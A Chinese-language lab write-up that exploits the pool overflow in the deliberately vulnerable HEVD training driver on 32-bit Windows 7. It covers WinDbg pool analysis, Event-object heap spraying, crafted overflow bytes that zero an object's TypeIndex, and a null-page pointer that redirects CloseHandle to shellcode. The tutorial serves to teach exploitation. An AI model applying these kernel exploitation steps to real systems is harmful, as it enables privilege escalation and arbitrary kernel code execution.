环境准备

Win 10 64位 主机  + win 7  32位虚拟机

Windbg:调试器

VirtualKD-3.0:双击调试工具

InstDrv:驱动安装,运行工具

HEVD:一个Windows内核漏洞训练项目,里面几乎涵盖了内核可能存在的所有漏洞类型,非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等

 

windows内核池简介

想要研究windows内核漏洞,需要对windows池有一定的认识,其管理结构、分配、释放都需要有很深的了解。这里我不会详细介绍池的一些知识,只推荐一些网站以供参考。

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf

https://www.cnblogs.com/flycat-2016/p/5449738.html

下面给一个内核pool page的图,知道这个图,对于该池漏洞的分析,基本足够。

Windows内核中有很多以4k为单位的pool page,每个pool page会被划分为大小不一的pool chunk以供内核程序使用。每个pool chunk有一个pool header结构(8个字节大小),用来描述pool chunk的一些基本信息。

Pool header结构如下:

kd> dt nt!_POOL_HEADER

   +0x000 PreviousSize     : Pos 0, 9 Bits

   +0x000 PoolIndex        : Pos 9, 7 Bits

   +0x002 BlockSize        : Pos 0, 9 Bits

   +0x002 PoolType         : Pos 9, 7 Bits

   +0x000 Ulong1           : Uint4B

   +0x004 PoolTag          : Uint4B

   +0x004 AllocatorBackTraceIndex : Uint2B

   +0x006 PoolTagHash      : Uint2B

 

当我们运行代码:

KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

                                             (SIZE_T)POOL_BUFFER_SIZE,

                                             (ULONG)POOL_TAG);

该函数回返回一个pool chunk,返回的地址KernelBuffer = pool header + 8的空间。也就是说我们返回的空间前面有8个字节的头部,只是我们看不到。Pool header 后面紧跟的是我们的数据,当我们的数据过程长时,就会向下覆盖到其他chunk。

 

HEVD池漏洞代码分析

漏洞代码如下:

#define POOL_BUFFER_SIZE 504

    __try {

        DbgPrint("[+] Allocating Pool chunk\n");



        // Allocate Pool chunk

        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

                                             (SIZE_T)POOL_BUFFER_SIZE,

                                             (ULONG)POOL_TAG);



        if (!KernelBuffer) {

            // Unable to allocate Pool chunk

            DbgPrint("[-] Unable to allocate Pool chunk\n");



            Status = STATUS_NO_MEMORY;

            return Status;

        }

        else {

            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));

            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

        }



        // Verify if the buffer resides in user mode

        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));



        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);

        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);

        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);



#ifdef SECURE

        // Secure Note: This is secure because the developer is passing a size

        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().

        // Hence, there will be no overflow

        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);

#else

        DbgPrint("[+] Triggering Pool Overflow\n");



        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability

        // because the developer is passing the user supplied value directly to

        // RtlCopyMemory()/memcpy() without validating if the size is greater or

        // equal to the size of the allocated Pool chunk

        RtlCopyMemory(KernelBuffer, UserBuffer, Size);

#endif



        if (KernelBuffer) {

            DbgPrint("[+] Freeing Pool chunk\n");

            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);



            // Free the allocated Pool chunk

            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);

            KernelBuffer = NULL;

        }

    }

    __except (EXCEPTION_EXECUTE_HANDLER) {

        Status = GetExceptionCode();

        DbgPrint("[-] Exception Code: 0x%X\n", Status);

    }

 

其中UserBuffer,Size的获取方式如下:

UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;

Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

 

我们看上面的代码,首先调用

ExAllocatePoolWithTag(NonPagedPool, (SIZE_T) POOL_BUFFER_SIZE, (ULONG)POOL_TAG);

申请一个固定大小的非分页池,然后调用拷贝函数,将ring3级传入的数据拷贝到申请的pool chunk中。

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

这里KernelBuffer是固定长度, UserBuffer和Size都是我们ring3级可控的,当我们的size大于POOL_BUFFER_SIZE时,就会造成溢出,覆盖到下面的pool chunk。

 

漏洞跟踪调试

Windbg下断点Bp HEVD!TriggerPoolOverflow, 因为驱动是我自己编译的,有符号文件,所以这里我直接对函数名下断点,如果你是直接从网上下载的驱动,那么你需要自己找该函数对应的偏移。

当函数执行完

        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

                                             (SIZE_T)POOL_BUFFER_SIZE,

                                             (ULONG)POOL_TAG);

 

后,得KernelBuffer = 0x8745dd88,所以可知kernelbuffer所在的pool chunk的地址为0x8745dd88–8 = 0x8745dd80。

kd> !pool 0x8745dd88

Pool page 8745dd88 region is Nonpaged pool

 8745d000 size:  988 previous size:    0  (Allocated)  Devi (Protected)

 8745d988 size:    8 previous size:  988  (Free)       File

 8745d990 size:   c8 previous size:    8  (Allocated)  Ntfx

 8745da58 size:   90 previous size:   c8  (Allocated)  MmCa

 8745dae8 size:  168 previous size:   90  (Allocated)  CcSc

 8745dc50 size:   b8 previous size:  168  (Allocated)  File (Protected)

 8745dd08 size:    8 previous size:   b8  (Free)       usbp

 8745dd10 size:   68 previous size:    8  (Allocated)  EtwR (Protected)

 8745dd78 size:    8 previous size:   68  (Free)       XSav

*8745dd80 size:  200 previous size:    8  (Allocated) *Hack

     Owning component : Unknown (update pooltag.txt)

 8745df80 size:   80 previous size:  200  (Free )  MmRl

 

可以看出,pool page 是以1000h即4kb为单位的, 里面每个都是pool chunk。

下面观察一个标记为free的pool chunk。 地址为  8745d988

kd> dd 8745d988

8745d988  00010131 e56c6946 04190001 7866744e

8745d998  00bc0743 00000001 00000000 00000000

8745d9a8  00040001 00000000 8745d9b0 8745d9b0

8745d9b8  00000000 8745da1c 87336164 00000000

8745d9c8  00000000 00000000 00000000 00000000

8745d9d8  00000000 00000000 00000000 00000000

8745d9e8  00000000 00000000 00000000 00280707

8745d9f8  00000000 00000000 00000000 00000000



kd> dt nt!_POOL_HEADER 8745d988

   +0x000 PreviousSize     : 0y100110001 (0x131)

   +0x000 PoolIndex        : 0y0000000 (0)

   +0x002 BlockSize        : 0y000000001 (0x1)

   +0x002 PoolType         : 0y0000000 (0)

   +0x000 Ulong1           : 0x10131

   +0x004 PoolTag          : 0xe56c6946

   +0x004 AllocatorBackTraceIndex : 0x6946

   +0x006 PoolTagHash      : 0xe56c

 

PreviousSize 前一个chunk大小,对应的值为0x131,  根据ListHeads数组可知, 0x131对应chunk大小为 0x131 * 8 = 0x988

BlockSize 对应本chunk大小, 对应的值为0x1, 根据ListHeads数组可知, 0x1对应chunk大小为 0x1 * 8 = 0x8

PoolType = 0 表示free。

这里不懂也没关系。

再看看我们申请的pool块, 函数返回的地址为0x8745dd88,块头地址为0x8745dd80, 所以返回的真正存放数据的地址为PoolHeader + 8

即0x8745dd80 + 8 = 0x8745dd88

kd> dd 8745dd80

8745dd80  04400001 6b636148 00000000 0000001b

8745dd90  083e0003 c3504c41 88129210 00000148

8745dda0  183c0005 6770534e 85aad038 00000000

8745ddb0  8745dde4 0000000a 00000001 00000001

8745ddc0  8745ddfc 00000018 8745deec 00000018

8745ddd0  8745de8c 00000008 8745debc 00000008

8745dde0  00000004 00000018 00000001 eb004a01

8745ddf0  11d49b1a 50002391 bc597704 00000000

kd> dt nt!_POOL_HEADER 8745dd80

   +0x000 PreviousSize     : 0y000000001 (0x1)

   +0x000 PoolIndex        : 0y0000000 (0)

   +0x002 BlockSize        : 0y001000000 (0x40)

   +0x002 PoolType         : 0y0000010 (0x2)

   +0x000 Ulong1           : 0x4400001

   +0x004 PoolTag          : 0x6b636148

   +0x004 AllocatorBackTraceIndex : 0x6148

   +0x006 PoolTagHash      : 0x6b63

PoolType为0x2, 表示Allocated, 空间被使用, 由dd 8745dd80可知,

0x8745dd88 开始后的数据并不是全0, 也就是ExAllocatePoolWithTag申请空间时,并不会做初始化工作。

//memset(UserModeBuffer, 0x41, 504);

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

 

当执行RtlCopyMemory后,0x8745dd88开始的数据将会被A覆盖

kd> dd 8745dd80 L100

8745dd80  04400001 6b636148 41414141 41414141

8745dd90  41414141 41414141 41414141 41414141

8745dda0  41414141 41414141 41414141 41414141

8745ddb0  41414141 41414141 41414141 41414141

8745ddc0  41414141 41414141 41414141 41414141

8745ddd0  41414141 41414141 41414141 41414141

8745dde0  41414141 41414141 41414141 41414141

8745ddf0  41414141 41414141 41414141 41414141

8745de00  41414141 41414141 41414141 41414141

8745de10  41414141 41414141 41414141 41414141

8745de20  41414141 41414141 41414141 41414141

8745de30  41414141 41414141 41414141 41414141

8745de40  41414141 41414141 41414141 41414141

8745de50  41414141 41414141 41414141 41414141

8745de60  41414141 41414141 41414141 41414141

8745de70  41414141 41414141 41414141 41414141

8745de80  41414141 41414141 41414141 41414141

8745de90  41414141 41414141 41414141 41414141

8745dea0  41414141 41414141 41414141 41414141

8745deb0  41414141 41414141 41414141 41414141

8745dec0  41414141 41414141 41414141 41414141

8745ded0  41414141 41414141 41414141 41414141

8745dee0  41414141 41414141 41414141 41414141

8745def0  41414141 41414141 41414141 41414141

8745df00  41414141 41414141 41414141 41414141

8745df10  41414141 41414141 41414141 41414141

8745df20  41414141 41414141 41414141 41414141

8745df30  41414141 41414141 41414141 41414141

8745df40  41414141 41414141 41414141 41414141

8745df50  41414141 41414141 41414141 41414141

8745df60  41414141 41414141 41414141 41414141

8745df70  41414141 41414141 41414141 41414141

8745df80  08100040 6c526d4d 00000000 87487398

8745df90  00000000 8745df94 8745df94 00000004

8745dfa0  00000005 ffffffff 00000000 00000000

8745dfb0  00000000 8745dfb4 8745dfb4 00000000

8745dfc0  00000000 00000000 00000000 8745dfcc

8745dfd0  8745dfcc 00000004 00000465 87ef35e8

8745dfe0  88097ae0 00000000 00000000 00000000

8745dff0  00000000 00000000 00000000 87f32380

8745e000  01010129 00000000 00055400 0003023f

8745e010  00000000 00055420 00030240 00000000

---------------------------------------------------------

char UserModeBuffer[512 + 8] = { 0x41 };

memset(UserModeBuffer, 0x41, 512);

memset(UserModeBuffer + 512, 0x42, 8);

UserModeBufferSize = 512 + 8;

 

如果UserModeBuffer空间大于ExAllocatePoolWithTag所申请的空间, 在执行RtlCopyMemory(KernelBuffer, UserBuffer, Size);

时就会覆盖下一个pool chunk的相关信息

下一个chunk被覆盖前后的数据(由于重新运行了程序,所有地址和上面不一样了)

kd> dd 8818d610

8818d610  085f0040 70627375 88335fb8 00000000

8818d620  00000000 00000000 00000000 00000000

8818d630  43787254 00000000 00000000 000000c8

8818d640  077415ad 00000000 00000000 0000020a

8818d650  0000000f 000002f0 000002cc 00000003

8818d660  00000001 00000000 6f6d7455 86378028

8818d670  00000000 00000000 00000000 00000000

8818d680  00000000 00000000 00000000 00000000

kd> dt nt!_POOL_HEADER  8818d610

   +0x000 PreviousSize     : 0y001000000 (0x40)

   +0x000 PoolIndex        : 0y0000000 (0)

   +0x002 BlockSize        : 0y001011111 (0x5f)

   +0x002 PoolType         : 0y0000100 (0x4)

   +0x000 Ulong1           : 0x85f0040

   +0x004 PoolTag          : 0x70627375

   +0x004 AllocatorBackTraceIndex : 0x7375

   +0x006 PoolTagHash      : 0x706

 

覆盖后

kd> dt nt!_POOL_HEADER  8818d610

   +0x000 PreviousSize     : 0y101000001 (0x141)

   +0x000 PoolIndex        : 0y0100000 (0x20)

   +0x002 BlockSize        : 0y101000001 (0x141)

   +0x002 PoolType         : 0y0100000 (0x20)

   +0x000 Ulong1           : 0x41414141

   +0x004 PoolTag          : 0x41414141

   +0x004 AllocatorBackTraceIndex : 0x4141

   +0x006 PoolTagHash      : 0x4141

kd> dd 8818d610

8818d610  41414141 41414141 42424242 42424242

8818d620  00000000 00000000 00000000 00000000

8818d630  43787254 00000000 00000000 000000c8

8818d640  077415ad 00000000 00000000 0000020a

8818d650  0000000f 000002f0 000002cc 00000003

8818d660  00000001 00000000 6f6d7455 86378028

8818d670  00000000 00000000 00000000 00000000

8818d680  00000000 00000000 00000000 00000000

 

再继续运行的话,系统蓝屏

 

漏洞利用

内核池类似于windows中的堆,用来动态分配内存,因为有漏洞的用户缓冲区分配在非分页池上,所以我们需要一些技术来控制修改非分页池。这种技术就是堆喷技术,如果之前你没接触内核堆喷,没关系,往下看就行了。

Windows 提供了一种Event对象, 该对象存储在非分页池中,可以使用CreateEvent API 来创建:

HANDLE WINAPI CreateEvent(

  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,

  _In_     BOOL                  bManualReset,

  _In_     BOOL                  bInitialState,

  _In_opt_ LPCTSTR               lpName

);

 

在这里我们需要用这个API创建两个足够大的Event对象数组,然后通过使用CloseHandle API 释放某些Event 对象,从而在分配的池块中造成空隙,经合并形成更大的空闲块:

BOOL WINAPI CloseHandle(

  _In_ HANDLE hObject

);

 

下面我们具体跟踪观察下,就明白了。

    //heap spray

    HANDLE spray_event1[10000] = { NULL };

    HANDLE spray_event2[5000] = { NULL };



    for (int i = 0; i < 10000; i++)

    {

        spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);

    }



    for (int j = 0; j < 5000; j++)

    {

        spray_event2[j] = CreateEventA(NULL, FALSE, FALSE, NULL);

    }

   

    for (int i = 5000-1; i >= 4989; i--)

    {

        printf("%x\n", spray_event2[i]);

}

 

如上构造堆喷代码,最后把后面的事件句柄打印出来,方便我们观察池结构。

kd> !handle eafc

PROCESS 85a54030  SessionId: 1  Cid: 0a0c    Peb: 7ffdf000  ParentCid: 05e8

    DirBase: bebcd580  ObjectTable: a6088008  HandleCount: 15010.

    Image: MyExploitForHevd.exe

Handle table at a6088008 with 15010 entries in use

eafc: Object: 85b33930  GrantedAccess: 001f0003 Entry: a5ada5f8

Object: 85b33930  Type: (85763418) Event

    ObjectHeader: 85b33918 (new version)

        HandleCount: 1  PointerCount: 1



kd> !pool 85b33930

Pool page 85b33930 region is Nonpaged pool

 85b33000 size:   40 previous size:    0  (Allocated)  Even (Protected)

 85b33040 size:  290 previous size:   40  (Free)       ...@

 85b332d0 size:   40 previous size:  290  (Allocated)  SeTl

 85b33310 size:  2f8 previous size:   40  (Allocated)  usbp

 85b33608 size:  2f8 previous size:  2f8  (Allocated)  usbp

*85b33900 size:   40 previous size:  2f8  (Allocated) *Even (Protected)

     Pooltag Even : Event objects

 85b33940 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33980 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b339c0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33a00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33a40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33a80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33ac0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33b00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33b40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33b80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33bc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33c00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33c40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33c80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33cc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33d00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33d40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33d80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33dc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33e00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33e40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33e80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33ec0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33f00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33f40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33f80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b33fc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 

如上观察,Even占据着大量的pool page,每个大小0x40。

我们申请的池大小为504,再加上8个字节的pool header, 504+8=512=0x200=0x40*8, 刚好8个event chunk的大小,这也是我们选择event内核对象的原因。

下面我们看看如何制造堆喷缝隙:

    //制造堆喷区空洞, 目的使我们的数据分配到空洞上;

    for (int i = 0; i < 5000; i = i + 16)

    {

        for (int j = 0; j < 8; j++)

        {

            //一个event对象大小0x40,  0x200的空间需要8个event对象;

            CloseHandle(spray_event2[i + j]);

        }

}

 

运行代码,我们再次看看pool page的结构:

kd> !pool 85b32d70

Pool page 85b32d70 region is Nonpaged pool

 85b32000 size:  2f8 previous size:    0  (Allocated)  usbp

 85b322f8 size:  510 previous size:  2f8  (Free)       ."..

 85b32808 size:  2f8 previous size:  510  (Allocated)  usbp

 85b32b00 size:   40 previous size:  2f8  (Free )  Even (Protected)

 85b32b40 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32b80 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32bc0 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32c00 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32c40 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32c80 size:   40 previous size:   40  (Free )  Even (Protected)

 85b32cc0 size:   40 previous size:   40  (Free)       Even

 85b32d00 size:   40 previous size:   40  (Allocated)  Even (Protected)

*85b32d40 size:   40 previous size:   40  (Allocated) *Even (Protected)

     Pooltag Even : Event objects

 85b32d80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32dc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32e00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32e40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32e80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32ec0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b32f00 size:  100 previous size:   40  (Free)       Even

 

如上所示,在我们调用CloseHandle关闭大量事件句柄后,内核池页上出现了大量的空洞。大小为0x40*8=0x200,当我们再次申请0x200大小的空间时,就有很大的概率落在这些空洞上。

此次申请的KernelBuffer = 0x85b108c8,我们看下其位置

kd> !pool 0x85b108c8

Pool page 85b108c8 region is Nonpaged pool

 85b10000 size:   40 previous size:    0  (Allocated)  Even (Protected)

 85b10040 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10080 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b100c0 size:  200 previous size:   40  (Free)       Even(8个一组的缝隙)

 85b102c0 size:   40 previous size:  200  (Allocated)  Even (Protected)

 85b10300 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10340 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10380 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b103c0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10400 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10440 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10480 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b104c0 size:  200 previous size:   40  (Free)       Even(8个一组的缝隙)

 85b106c0 size:   40 previous size:  200  (Allocated)  Even (Protected)

 85b10700 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10740 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10780 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b107c0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10800 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10840 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10880 size:   40 previous size:   40  (Allocated)  Even (Protected)

*85b108c0 size:  200 previous size:   40  (Allocated) *Hack

        Owning component : Unknown (update pooltag.txt)

 85b10ac0 size:   40 previous size:  200  (Allocated)  Even (Protected)

 85b10b00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10b40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10b80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10bc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10c00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10c40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10c80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10cc0 size:   c0 previous size:   40  (Free)       Even

 85b10d80 size:  140 previous size:   c0  (Allocated)  Io   Process: 873d9478

 85b10ec0 size:   40 previous size:  140  (Allocated)  Even (Protected)

 85b10f00 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10f40 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10f80 size:   40 previous size:   40  (Allocated)  Even (Protected)

 85b10fc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

 

可知其刚好落在了构造的堆喷空隙中。

所以我们向下覆盖数据时,会覆盖event对象的一些结构,我们接下来看下如果通过event对象来达到控制程序流程,执行我们的shellcode。

Windows系统的各种资源以对象(Object)的形式来组织,例如File Object, Driver Object, Device Object等等,但实际上这些所谓的“对象”在系统的对象管理器(Object Manager)看来只是完整对象的一个部分——对象实体(Object Body)

一个内核对象有三部分组成,

首先是

kd> dt nt!_OBJECT_HEADER_QUOTA_INFO

   +0x000 PagedPoolCharge  : Uint4B

   +0x004 NonPagedPoolCharge : Uint4B

   +0x008 SecurityDescriptorCharge : Uint4B

   +0x00c SecurityDescriptorQuotaBlock : Ptr32 Void

 

一个对象可以包含全部四个结构,也可能只包含其中的某个。

之后是OBJECT_HEADER结构,

kd> dt nt!_OBJECT_HEADER

   +0x000 PointerCount     : Int4B

   +0x004 HandleCount      : Int4B

   +0x004 NextToFree       : Ptr32 Void

   +0x008 Lock             : _EX_PUSH_LOCK

   +0x00c TypeIndex        : UChar

   +0x00d TraceFlags       : UChar

   +0x00e InfoMask         : UChar

   +0x00f Flags            : UChar

   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION

   +0x010 QuotaBlockCharged : Ptr32 Void

   +0x014 SecurityDescriptor : Ptr32 Void

   +0x018 Body

 

最后是对象体, 不同内核对象,对象体不同。

例如: DRIVER_OBJECT, DEVICE_OBJECT, FILE_OBJECT等

CreateEvent创建事件对象时,事件对象在内核中是存放在pool chunk中的, 结构为:

—————————

|PoolHeader               |

————————–

|_OBJECT_HEADER_QUOTA_INFO|

—————————

|_OBJECT_HEADER           |

—————————

|Body(对象体)              |

—————————

这里我们关心的是_OBJECT_HEADER中的TypeIndex值,这个值是全局数组ObTypeIndexTable的索引。ObTypeIndexTable 存放有关各种“对象类型”的信息。

我们看下我们分配的chunk后面一个event结构信息,地址为85b10ac0,

其_OBJECT_HEADER数据为:

kd> dt nt!_OBJECT_HEADER 85b10ac0+8+10 .

   +0x000 PointerCount     : 0n1

   +0x004 HandleCount      : 0n1

   +0x004 NextToFree       :

   +0x008 Lock             :

      +0x000 Locked           : 0y0

      +0x000 Waiting          : 0y0

      +0x000 Waking           : 0y0

      +0x000 MultipleShared   : 0y0

      +0x000 Shared           : 0y0000000000000000000000000000 (0)

      +0x000 Value            : 0

      +0x000 Ptr              : (null)

   +0x00c TypeIndex        : 0xc ''

   +0x00d TraceFlags       : 0 ''

   +0x00e InfoMask         : 0x8 ''

   +0x00f Flags            : 0 ''

   +0x010 ObjectCreateInfo :

   +0x010 QuotaBlockCharged :

   +0x014 SecurityDescriptor :

   +0x018 Body             :

      +0x000 UseThisFieldToCopy : 0n262145

      +0x000 DoNotUseThisField : 1.2951683872905357532e-318

 

可以看到该event对象OBJECT_HEADER的TypeIndex为0xc,其类型信息放在ObTypeIndexTable[0xc]中

kd>  dd nt!ObTypeIndexTable

82b8a900  00000000 bad0b0b0 8564e900 8564e838

82b8a910  8564e770 8564e570 856ee040 856eef78

82b8a920  856eeeb0 856eede8 856eed20 856ee6a0

82b8a930  85763418 8571f878 856fb430 856fb368

82b8a940  8570f430 8570f368 8575b448 8575b380

82b8a950  8576b450 8576b388 857539c8 85753900

82b8a960  85753838 856ef7a8 856ef6e0 856ef618

82b8a970  856f39b8 856f34f0 856f3428 8573df78

 

可以看到,ObTypeIndexTable数组的第一项为0,没有使用,却为我们执行shellcode提供了机会。

第0xc项内容如下:

kd> dt nt!_OBJECT_TYPE 85763418 .

   +0x000 TypeList         :  [ 0x85763418 - 0x85763418 ]

      +0x000 Flink            : 0x85763418 _LIST_ENTRY [ 0x85763418 - 0x85763418 ]

      +0x004 Blink            : 0x85763418 _LIST_ENTRY [ 0x85763418 - 0x85763418 ]

   +0x008 Name             :  "Event"

      +0x000 Length           : 0xa

      +0x002 MaximumLength    : 0xc

      +0x004 Buffer           : 0x8c605570  "Event"

   +0x010 DefaultObject    :

   +0x014 Index            : 0xc ''

   +0x018 TotalNumberOfObjects : 0x3c66

   +0x01c TotalNumberOfHandles : 0x3ca0

   +0x020 HighWaterNumberOfObjects : 0x4827

   +0x024 HighWaterNumberOfHandles : 0x487c

   +0x028 TypeInfo         :

      +0x000 Length           : 0x50

      +0x002 ObjectTypeFlags  : 0 ''

      +0x002 CaseInsensitive  : 0y0

      +0x002 UnnamedObjectsOnly : 0y0

      +0x002 UseDefaultObject : 0y0

      +0x002 SecurityRequired : 0y0

      +0x002 MaintainHandleCount : 0y0

      +0x002 MaintainTypeList : 0y0

      +0x002 SupportsObjectCallbacks : 0y0

      +0x004 ObjectTypeCode   : 2

      +0x008 InvalidAttributes : 0x100

      +0x00c GenericMapping   : _GENERIC_MAPPING

      +0x01c ValidAccessMask  : 0x1f0003

      +0x020 RetainAccess     : 0

      +0x024 PoolType         : 0 ( NonPagedPool )

      +0x028 DefaultPagedPoolCharge : 0

      +0x02c DefaultNonPagedPoolCharge : 0x40

      +0x030 DumpProcedure    : (null)

      +0x034 OpenProcedure    : (null)

      +0x038 CloseProcedure   : (null)

      +0x03c DeleteProcedure  : (null)

      +0x040 ParseProcedure   : (null)

      +0x044 SecurityProcedure : 0x82cac5b6        long  nt!SeDefaultObjectMethod+0

      +0x048 QueryNameProcedure : (null)

      +0x04c OkayToCloseProcedure : (null)

   +0x078 TypeLock         :

      +0x000 Locked           : 0y0

      +0x000 Waiting          : 0y0

      +0x000 Waking           : 0y0

      +0x000 MultipleShared   : 0y0

      +0x000 Shared           : 0y0000000000000000000000000000 (0)

      +0x000 Value            : 0

      +0x000 Ptr              : (null)

   +0x07c Key              : 0x6e657645

   +0x080 CallbackList     :  [ 0x85763498 - 0x85763498 ]

      +0x000 Flink            : 0x85763498 _LIST_ENTRY [ 0x85763498 - 0x85763498 ]

      +0x004 Blink            : 0x85763498 _LIST_ENTRY [ 0x85763498 - 0x85763498 ]

 

可知对象类型为Event,这里这个结构我们关心偏移0x28 TypeInfo这字段,其下有几个回调函数,这里我们使用偏移0x038 CloseProcedure,如果这个字段有值的话,当程序调用CloseProcedure函数时(即调用CloseHandle),就会执行该字段指向的代码。

如果我们覆盖Event chunk的_OBJECT_HEADER的TypeIndex值为0, 再将0x00000000 + (0x28+0x28) = 0x60,处的值,修改为我们的shellcode地址,当我们调用CloseHandle函数时,就能控制程序流程,执行我们的shellcode。

因为我们只覆盖TypeIndex的值,要保证其他值不变,我们看下poolheader到TypeIndex的值

kd> dd 85b10ac0

85b10ac0  04080040 ee657645 00000000 00000040

85b10ad0  00000000 00000000 00000001 00000001

85b10ae0  00000000 0008000c 87cc1640 00000000

 

需要0008000c覆盖为00080000。

构造数据如下:

    //构造数据,覆盖_OBJECT_HEADER偏移+0x00c的值覆盖为0,

    char junk_buffer[504] = { 0x41 };

    memset(junk_buffer, 0x41, 504);

    char overwritedata[41] =

        "\x40\x00\x08\x04"

        "\x45\x76\x65\xee"

        "\x00\x00\x00\x00"

        "\x40\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x01\x00\x00\x00"

        "\x01\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x00\x00\x08\x00";



    char UserModeBuffer[504 + 40 + 1] = {0};

    int UserModeBufferSize = 504 + 40;

    memcpy(UserModeBuffer, junk_buffer, 504);

    memcpy(UserModeBuffer + 504, overwritedata, 40);

 

然后我们申请一个起始地址为0的空间,将shellcode的地址写到0x60的位置

*(PULONG)0x00000060 = (ULONG)pShellcodeBuf;

最后调用CloseHandle释放恶意构造的chunk。

    //这个spray_event1释放循环目前来看,好像不是必须的;

    for (int i = 0; i < 10000; i++)

    {

        CloseHandle(spray_event1[i]);

    }



    //这里i不能从0开始,因为i从0开始的chunk都是我们已经释放的;

    //我们的数据在其中的连续8个chunk上,而被覆盖chunk在释放的chunk后面;

    //所以这里i从8开始;

    for (int i = 8; i < 5000; i = i + 16)

    {

        for (int j = 0; j < 8; j++)

        {

            CloseHandle(spray_event2[i + j]);

        }

    }

 

下面我们简单看下溢出正常执行的情况。

kd> dd 0

00000000  00000000 00000000 00000000 00000000

00000010  00000000 00000000 00000000 00000000

00000020  00000000 00000000 00000000 00000000

